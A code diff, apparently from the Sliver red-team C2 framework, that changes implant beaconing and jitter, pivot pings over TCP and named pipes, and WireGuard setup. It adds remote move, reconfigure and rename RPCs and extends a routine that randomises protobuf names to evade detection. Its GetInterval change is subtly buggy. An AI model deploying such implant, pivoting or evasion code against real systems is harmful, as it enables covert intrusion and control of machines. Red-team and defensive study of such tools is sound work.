@@ -86,20 +88,12 @@ type Beacon struct {
|
||||
|
||||
// Interval - Interval between beacons
|
||||
func (b *Beacon) Interval() int64 {
|
||||
interval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
|
||||
if err != nil {
|
||||
interval = int64(30 * time.Second)
|
||||
}
|
||||
return int64(interval)
|
||||
return GetInterval()
|
||||
}
|
||||
|
||||
// Jitter - Jitter between beacons
|
||||
func (b *Beacon) Jitter() int64 {
|
||||
jitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
|
||||
if err != nil {
|
||||
jitter = int64(30 * time.Second)
|
||||
}
|
||||
return int64(jitter)
|
||||
return GetJitter()
|
||||
}
|
||||
|
||||
// Duration - Interval + random value <= Jitter
|
||||
|
||||
@@ -631,6 +631,7 @@ func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Durati
|
||||
|
||||
func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: netTimeout,
|
||||
}).Dial,
|
||||
|
||||
@@ -200,7 +200,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
|
||||
// *** WG ***
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
connection, err = wgConnect(uri)
|
||||
if err == nil {
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[wg] Connection failed %s", err)
|
||||
// {{end}}
|
||||
@@ -753,6 +753,9 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
case <-pingCtrl:
|
||||
return
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp pivot] peer ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
@@ -760,11 +763,10 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: data,
|
||||
}
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp pivot] server ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
data, _ = proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
|
||||
@@ -112,6 +112,11 @@ func randomCCDomain(ccServers []string, next string) string {
|
||||
var (
|
||||
// reconnectInterval - DO NOT ACCESS DIRECTLY
|
||||
reconnectInterval = time.Duration(0)
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
jitter = time.Duration(0)
|
||||
interval = time.Duration(0)
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
|
||||
@@ -132,6 +137,44 @@ func SetReconnectInterval(interval int64) {
|
||||
reconnectInterval = time.Duration(interval)
|
||||
}
|
||||
|
||||
// GetJitter - Get the beacon jitter {{if .Config.IsBeacon}}
|
||||
func GetJitter() int64 {
|
||||
if jitter == time.Duration(0) {
|
||||
configJitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
|
||||
jitter = time.Duration(configJitter)
|
||||
if err != nil {
|
||||
jitter = time.Duration(30 * time.Second)
|
||||
}
|
||||
}
|
||||
return int64(jitter)
|
||||
}
|
||||
|
||||
// SetJitter - Set the jitter value dynamically
|
||||
func SetJitter(newJitter int64) {
|
||||
jitter = time.Duration(newJitter)
|
||||
}
|
||||
|
||||
// {{end}} - IsBeacon
|
||||
|
||||
// GetInterval - Get the beacon interval {{if .Config.IsBeacon}}
|
||||
func GetInterval() int64 {
|
||||
if interval == time.Duration(0) {
|
||||
configInterval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
|
||||
if err != nil {
|
||||
interval = time.Duration(30 * time.Second)
|
||||
}
|
||||
interval = time.Duration(configInterval)
|
||||
}
|
||||
return int64(interval)
|
||||
}
|
||||
|
||||
// SetInterval - Set the interval value dynamically
|
||||
func SetInterval(newInterval int64) {
|
||||
interval = time.Duration(newInterval)
|
||||
}
|
||||
|
||||
// {{end}} - IsBeacon
|
||||
|
||||
// GetMaxConnectionErrors - Parse the max connection errors inserted at compile-time
|
||||
func GetMaxConnectionErrors() int {
|
||||
maxConnectionErrors, err := strconv.Atoi(`{{.Config.MaxConnectionErrors}}`)
|
||||
|
||||
@@ -56,6 +56,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- struct{}{}
|
||||
pingCtrl <- struct{}{}
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
@@ -80,6 +81,9 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
case <-pingCtrl:
|
||||
return
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] peer ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
@@ -87,11 +91,10 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: data,
|
||||
}
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] server ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
data, _ = proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
|
||||
@@ -29,6 +29,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/netip"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -215,8 +216,8 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
// then creates a Wireguard device/interface and applies configuration
|
||||
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
|
||||
tun, tNet, err := netstack.CreateNetTUN(
|
||||
[]net.IP{net.ParseIP(netstackTunIP)},
|
||||
[]net.IP{net.ParseIP("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
|
||||
[]netip.Addr{netip.MustParseAddr(netstackTunIP)},
|
||||
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
|
||||
1420)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
+491
-503
File diff suppressed because it is too large.
Load diff
@@ -161,6 +161,8 @@ message ImplantConfig {
|
||||
string FileName = 102;
|
||||
bool IsService = 103;
|
||||
bool IsShellcode = 104;
|
||||
|
||||
bool RunAtLoad = 105;
|
||||
}
|
||||
|
||||
// Configs of previously built implants
|
||||
@@ -338,12 +340,10 @@ message Sessions {
|
||||
repeated Session Sessions = 1;
|
||||
}
|
||||
|
||||
message UpdateSession {
|
||||
message RenameReq {
|
||||
string SessionID = 1;
|
||||
string Name = 2;
|
||||
int64 ReconnectInterval = 3;
|
||||
int64 PollInterval = 4;
|
||||
repeated string Extensions = 5;
|
||||
string BeaconID = 2;
|
||||
string Name = 3;
|
||||
}
|
||||
|
||||
message GenerateReq {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.2
|
||||
// protoc v3.20.0
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.19.2
|
||||
// protoc v3.20.0
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+825
-812
File diff suppressed because it is too large.
Load diff
@@ -17,10 +17,11 @@ service SliverRPC {
|
||||
|
||||
// *** Generic ***
|
||||
rpc Kill(sliverpb.KillReq) returns (commonpb.Empty);
|
||||
rpc Reconfigure(sliverpb.ReconfigureReq) returns (sliverpb.Reconfigure);
|
||||
rpc Rename(clientpb.RenameReq) returns (commonpb.Empty);
|
||||
|
||||
// *** Sessions ***
|
||||
rpc GetSessions(commonpb.Empty) returns (clientpb.Sessions);
|
||||
rpc UpdateSession(clientpb.UpdateSession) returns (clientpb.Session);
|
||||
|
||||
// *** Beacons ***
|
||||
rpc GetBeacons(commonpb.Empty) returns (clientpb.Beacons);
|
||||
@@ -94,6 +95,7 @@ service SliverRPC {
|
||||
rpc Ls(sliverpb.LsReq) returns (sliverpb.Ls);
|
||||
rpc Cd(sliverpb.CdReq) returns (sliverpb.Pwd);
|
||||
rpc Pwd(sliverpb.PwdReq) returns (sliverpb.Pwd);
|
||||
rpc Mv(sliverpb.MvReq) returns (sliverpb.Mv);
|
||||
rpc Rm(sliverpb.RmReq) returns (sliverpb.Rm);
|
||||
rpc Mkdir(sliverpb.MkdirReq) returns (sliverpb.Mkdir);
|
||||
rpc Download(sliverpb.DownloadReq) returns (sliverpb.Download);
|
||||
@@ -123,6 +125,7 @@ service SliverRPC {
|
||||
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
|
||||
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
|
||||
rpc RemoveService(sliverpb.RemoveServiceReq) returns (sliverpb.ServiceInfo);
|
||||
|
||||
rpc MakeToken(sliverpb.MakeTokenReq) returns (sliverpb.MakeToken);
|
||||
rpc GetEnv(sliverpb.EnvReq) returns (sliverpb.EnvInfo);
|
||||
rpc SetEnv(sliverpb.SetEnvReq) returns (sliverpb.SetEnv);
|
||||
|
||||
@@ -27,9 +27,10 @@ type SliverRPCClient interface {
|
||||
GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error)
|
||||
// *** Generic ***
|
||||
Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error)
|
||||
Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
// *** Sessions ***
|
||||
GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error)
|
||||
UpdateSession(ctx context.Context, in *clientpb.UpdateSession, opts ...grpc.CallOption) (*clientpb.Session, error)
|
||||
// *** Beacons ***
|
||||
GetBeacons(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Beacons, error)
|
||||
GetBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.Beacon, error)
|
||||
@@ -93,6 +94,7 @@ type SliverRPCClient interface {
|
||||
Ls(ctx context.Context, in *sliverpb.LsReq, opts ...grpc.CallOption) (*sliverpb.Ls, error)
|
||||
Cd(ctx context.Context, in *sliverpb.CdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
|
||||
Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
|
||||
Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error)
|
||||
Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error)
|
||||
Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error)
|
||||
Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error)
|
||||
@@ -198,18 +200,27 @@ func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts .
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) {
|
||||
out := new(clientpb.Sessions)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...)
|
||||
func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) {
|
||||
out := new(sliverpb.Reconfigure)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Reconfigure", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) UpdateSession(ctx context.Context, in *clientpb.UpdateSession, opts ...grpc.CallOption) (*clientpb.Session, error) {
|
||||
out := new(clientpb.Session)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UpdateSession", in, out, opts...)
|
||||
func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rename", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) {
|
||||
out := new(clientpb.Sessions)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -693,6 +704,15 @@ func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error) {
|
||||
out := new(sliverpb.Mv)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mv", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error) {
|
||||
out := new(sliverpb.Rm)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rm", in, out, opts...)
|
||||
@@ -1310,9 +1330,10 @@ type SliverRPCServer interface {
|
||||
GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error)
|
||||
// *** Generic ***
|
||||
Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error)
|
||||
Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error)
|
||||
Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error)
|
||||
// *** Sessions ***
|
||||
GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error)
|
||||
UpdateSession(context.Context, *clientpb.UpdateSession) (*clientpb.Session, error)
|
||||
// *** Beacons ***
|
||||
GetBeacons(context.Context, *commonpb.Empty) (*clientpb.Beacons, error)
|
||||
GetBeacon(context.Context, *clientpb.Beacon) (*clientpb.Beacon, error)
|
||||
@@ -1376,6 +1397,7 @@ type SliverRPCServer interface {
|
||||
Ls(context.Context, *sliverpb.LsReq) (*sliverpb.Ls, error)
|
||||
Cd(context.Context, *sliverpb.CdReq) (*sliverpb.Pwd, error)
|
||||
Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error)
|
||||
Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error)
|
||||
Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error)
|
||||
Mkdir(context.Context, *sliverpb.MkdirReq) (*sliverpb.Mkdir, error)
|
||||
Download(context.Context, *sliverpb.DownloadReq) (*sliverpb.Download, error)
|
||||
@@ -1460,12 +1482,15 @@ func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empt
|
||||
func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Reconfigure not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) UpdateSession(context.Context, *clientpb.UpdateSession) (*clientpb.Session, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method UpdateSession not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetBeacons(context.Context, *commonpb.Empty) (*clientpb.Beacons, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetBeacons not implemented")
|
||||
}
|
||||
@@ -1625,6 +1650,9 @@ func (UnimplementedSliverRPCServer) Cd(context.Context, *sliverpb.CdReq) (*slive
|
||||
func (UnimplementedSliverRPCServer) Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Pwd not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Mv not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Rm not implemented")
|
||||
}
|
||||
@@ -1872,6 +1900,42 @@ func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(inte
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Reconfigure_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ReconfigureReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Reconfigure(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Reconfigure",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Reconfigure(ctx, req.(*sliverpb.ReconfigureReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.RenameReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Rename(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Rename",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Rename(ctx, req.(*clientpb.RenameReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -1890,24 +1954,6 @@ func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec fu
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_UpdateSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.UpdateSession)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).UpdateSession(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/UpdateSession",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).UpdateSession(ctx, req.(*clientpb.UpdateSession))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GetBeacons_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -2862,6 +2908,24 @@ func _SliverRPC_Pwd_Handler(srv interface{}, ctx context.Context, dec func(inter
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Mv_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.MvReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Mv(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Mv",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Mv(ctx, req.(*sliverpb.MvReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Rm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RmReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3981,12 +4045,16 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
Handler: _SliverRPC_Kill_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetSessions",
|
||||
Handler: _SliverRPC_GetSessions_Handler,
|
||||
MethodName: "Reconfigure",
|
||||
Handler: _SliverRPC_Reconfigure_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "UpdateSession",
|
||||
Handler: _SliverRPC_UpdateSession_Handler,
|
||||
MethodName: "Rename",
|
||||
Handler: _SliverRPC_Rename_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetSessions",
|
||||
Handler: _SliverRPC_GetSessions_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetBeacons",
|
||||
@@ -4200,6 +4268,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Pwd",
|
||||
Handler: _SliverRPC_Pwd_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Mv",
|
||||
Handler: _SliverRPC_Mv_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Rm",
|
||||
Handler: _SliverRPC_Rm_Handler,
|
||||
|
||||
@@ -235,14 +235,11 @@ const (
|
||||
// MsgSocksData - Response of SocksData
|
||||
MsgSocksData
|
||||
|
||||
// MsgReconnectIntervalReq
|
||||
MsgReconnectIntervalReq
|
||||
// MsgReconfigureReq
|
||||
MsgReconfigureReq
|
||||
|
||||
// MsgReconnectInterval - Set reconnect interval
|
||||
MsgReconnectInterval
|
||||
|
||||
// MsgPollInterval - Set poll interval
|
||||
MsgPollInterval
|
||||
// MsgReconfigure - Set Reconfigure
|
||||
MsgReconfigure
|
||||
|
||||
// MsgUnsetEnvReq
|
||||
MsgUnsetEnvReq
|
||||
@@ -277,6 +274,11 @@ const (
|
||||
|
||||
// MsgRegistryDeleteKeyReq
|
||||
MsgRegistryDeleteKeyReq
|
||||
|
||||
// MsgMvReq - Request to move or rename a file
|
||||
MsgMvReq
|
||||
// MsgMv - Confirms the success/failure of the mv request (resp to MsgMvReq)
|
||||
MsgMv
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -449,14 +451,11 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *Portfwd:
|
||||
return MsgPortfwd
|
||||
|
||||
case *ReconnectIntervalReq:
|
||||
return MsgReconnectIntervalReq
|
||||
case *ReconfigureReq:
|
||||
return MsgReconfigureReq
|
||||
case *Reconfigure:
|
||||
return MsgReconfigure
|
||||
|
||||
case *ReconnectInterval:
|
||||
return MsgReconnectInterval
|
||||
|
||||
case *PollInterval:
|
||||
return MsgPollInterval
|
||||
case *SSHCommandReq:
|
||||
return MsgSSHCommandReq
|
||||
|
||||
@@ -484,6 +483,10 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *CloseSession:
|
||||
return MsgCloseSession
|
||||
|
||||
case *MvReq:
|
||||
return MsgMvReq
|
||||
case *Mv:
|
||||
return MsgMv
|
||||
}
|
||||
|
||||
return uint32(0)
|
||||
|
||||
+1738
-1552
File diff suppressed because it is too large.
Load diff
@@ -201,6 +201,20 @@ message Rm {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MvReq {
|
||||
string Src = 1;
|
||||
string Dst = 2;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Mv {
|
||||
string Src = 1;
|
||||
string Dst = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MkdirReq {
|
||||
string Path = 1;
|
||||
|
||||
@@ -757,7 +771,7 @@ message PivotListener {
|
||||
|
||||
message PivotHello {
|
||||
bytes PublicKey = 1;
|
||||
int64 PeerID = 2;
|
||||
int64 PeerID = 2 [jstype = JS_STRING];
|
||||
string PublicKeySignature = 3;
|
||||
bytes SessionKey = 4;
|
||||
}
|
||||
@@ -768,7 +782,7 @@ message PivotServerKeyExchange {
|
||||
}
|
||||
|
||||
message PivotPeer {
|
||||
int64 PeerID = 1;
|
||||
int64 PeerID = 1 [jstype = JS_STRING];
|
||||
string Name = 2;
|
||||
}
|
||||
|
||||
@@ -785,7 +799,7 @@ message PivotPing {
|
||||
}
|
||||
|
||||
message NetConnPivot {
|
||||
int64 PeerID = 1;
|
||||
int64 PeerID = 1 [jstype = JS_STRING];
|
||||
string RemoteAddress = 2;
|
||||
}
|
||||
|
||||
@@ -795,7 +809,7 @@ enum PeerFailureType {
|
||||
}
|
||||
|
||||
message PivotPeerFailure {
|
||||
int64 PeerID = 1;
|
||||
int64 PeerID = 1 [jstype = JS_STRING];
|
||||
PeerFailureType Type = 2;
|
||||
string Err = 3;
|
||||
}
|
||||
@@ -872,14 +886,17 @@ message WGTCPForwarders {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// ReconnectIntervalReq - Request the implant to update it's reconnect interval
|
||||
message ReconnectIntervalReq {
|
||||
// ReconfigureReq - Request the implant to reconfigure itself
|
||||
message ReconfigureReq {
|
||||
int64 ReconnectInterval = 1;
|
||||
int64 BeaconInterval = 2;
|
||||
int64 BeaconJitter = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ReconnectInterval {
|
||||
message Reconfigure {
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
|
||||
+12
-5
@@ -275,14 +275,21 @@ func SetupGoPath(goPathSrc string) error {
|
||||
|
||||
func stripSliverpb(src []byte) []byte {
|
||||
out := src
|
||||
re := regexp.MustCompile(`protobuf:"[a-z]+,\d+,[a-z]+,name=(?P<FieldName1>[a-zA-Z0-9]+),proto3" json:"(?P<FiledName2>[a-zA-Z0-9]+),[a-z]+"`)
|
||||
re := regexp.MustCompile(`protobuf:"[a-z]+,\d+,[a-z]+,name=(?P<FieldName1>[a-zA-Z0-9]+),proto3(,enum=(?P<EnumName>[a-zA-Z\.]+))?" json:"(?P<FiledName2>[a-zA-Z0-9]+),[a-z]+"`)
|
||||
found := re.FindAllSubmatch(src, -1)
|
||||
for _, x := range found {
|
||||
line := x[0] // line that matched
|
||||
item := x[1] // first named capturing group (FieldName1)
|
||||
line := x[0] // line that matched
|
||||
typeName := x[1] // first named capturing group (FieldName1)
|
||||
enumName := x[3]
|
||||
if string(enumName) != "" {
|
||||
newEnumName := pseudoRandStringRunes(len(enumName))
|
||||
newEnumLine := bytes.ReplaceAll(line, enumName, []byte(newEnumName))
|
||||
out = bytes.ReplaceAll(out, line, []byte(newEnumLine))
|
||||
line = newEnumLine
|
||||
}
|
||||
// we don't care about FieldName2 because its value is the same as FieldName1
|
||||
newItem := pseudoRandStringRunes(len(item))
|
||||
newLine := bytes.ReplaceAll(line, item, []byte(newItem))
|
||||
newItem := pseudoRandStringRunes(len(typeName))
|
||||
newLine := bytes.ReplaceAll(line, typeName, []byte(newItem))
|
||||
